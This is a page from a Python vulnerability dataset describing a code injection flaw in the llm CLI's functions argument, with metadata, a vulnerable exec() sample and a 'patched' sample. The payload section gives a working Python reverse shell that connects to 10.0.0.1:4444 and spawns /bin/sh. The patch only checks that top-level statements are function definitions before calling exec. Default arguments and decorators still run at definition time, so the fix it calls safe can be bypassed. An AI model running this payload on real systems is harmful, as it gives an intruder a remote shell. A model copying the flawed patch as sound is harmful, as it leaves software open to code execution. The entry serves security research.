VAITP Dataset

← Back to the dataset

CVE-2026-31236

Code injection in llm CLI's –functions argument allows code execution.

  • CVSS 9.8
  • CWE-94
  • Input Validation and Sanitization
  • Local

The llm CLI tool thru 0.27.1 contains a critical code injection vulnerability via its –functions command-line argument. This argument is intended to allow users to provide custom Python function definitions. However, the tool directly executes the provided code using the unsafe exec() function without any sanitization, sandboxing, or security restrictions. An attacker can exploit this by crafting a malicious llm command with arbitrary Python code in the –functions argument and using social engineering to trick a victim into running it. This leads to arbitrary code execution on the victim's system, potentially granting the attacker full control.

CVSS base score
9.8
Published
2026-05-12
OWASP
A03 Injection
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Command Injection
Accessibility scope
Local
Impact
Arbitrary Code Execution
Affected component
llm
Fixed by upgrading
Yes

Solution

Upgrade to `llm` version 0.27.2 or later.

Vulnerable code sample

import argparse
import sys

def main():
    parser = argparse.ArgumentParser(
        prog="llm",
        description="A simplified representation of the vulnerable CLI tool."
    )
    parser.add_argument(
        "--functions",
        type=str,
        help="A string containing Python function definitions to be executed.",
    )
    # Other arguments would be defined here in the real tool.
    parser.add_argument(
        "prompt", nargs="*", help="The prompt to process."
    )

    args = parser.parse_args()

    # The vulnerable part of the code
    if args.functions:
        try:
            # The tool directly executes the user-provided string using exec()
            # without any form of sanitization or sandboxing.
            exec(args.functions, globals())
            print("Custom functions loaded.")
        except Exception as e:
            sys.stderr.write(f"Error executing functions code: {e}\n")
            sys.exit(1)

    # The rest of the application logic would follow...
    if args.prompt:
        print(f"Processing prompt: {' '.join(args.prompt)}")
    else:
        print("Tool finished.")

if __name__ == "__main__":
    main()

Patched code sample

import ast

def safe_load_functions(code_string: str) -> dict:
    """
    Safely loads Python functions from a string by first parsing it into an
    Abstract Syntax Tree (AST) and ensuring it only contains function definitions.
    This prevents the execution of arbitrary code.
    """
    try:
        tree = ast.parse(code_string)
    except SyntaxError as e:
        raise ValueError(f"Invalid Python syntax: {e}")

    # Verify that the code block only contains function definitions.
    for node in tree.body:
        if not isinstance(node, ast.FunctionDef):
            raise ValueError(
                "Provided code is not safe: only 'def' statements are allowed."
            )

    # If all nodes are function definitions, it's safe to execute.
    scope = {}
    exec(code_string, {}, scope)
    return scope

# --- Example Usage ---

# 1. A valid string containing only a function definition.
# This will succeed.
safe_code = """
def get_current_weather(location: str, unit: str = "celsius"):
    \"\"\"Gets the current weather in a given location.\"\"\"
    # In a real scenario, this would call an API.
    if "tokyo" in location.lower():
        return f"The weather in Tokyo is 15 degrees {unit}"
    return f"Weather for {location} is not available."
"""

# 2. A malicious string attempting to execute arbitrary code.
# This will fail with a ValueError.
malicious_code = "__import__('os').system('echo PWNED')"

# 3. Another malicious example, hiding the call inside a valid-looking structure.
# This will also fail with a ValueError.
malicious_code_2 = """
import os
def a_function():
    os.system('echo still pwned')
"""

if __name__ == '__main__':
    print("--- Testing safe code ---")
    try:
        loaded_functions = safe_load_functions(safe_code)
        print("Successfully loaded functions:")
        print(list(loaded_functions.keys()))
        # Example of calling the loaded function
        weather_func = loaded_functions['get_current_weather']
        print(weather_func(location="Tokyo"))
    except ValueError as e:
        print(f"Failed to load safe code: {e}")


    print("\n--- Testing malicious code 1 ---")
    try:
        safe_load_functions(malicious_code)
    except ValueError as e:
        print(f"Successfully blocked malicious code: {e}")

    print("\n--- Testing malicious code 2 (with import) ---")
    try:
        safe_load_functions(malicious_code_2)
    except ValueError as e:
        print(f"Successfully blocked malicious code: {e}")

Payload

import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])

Cite this entry

@misc{vaitp:cve202631236,
  title        = {{Code injection in llm CLI's --functions argument allows code execution.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-31236},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-31236/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::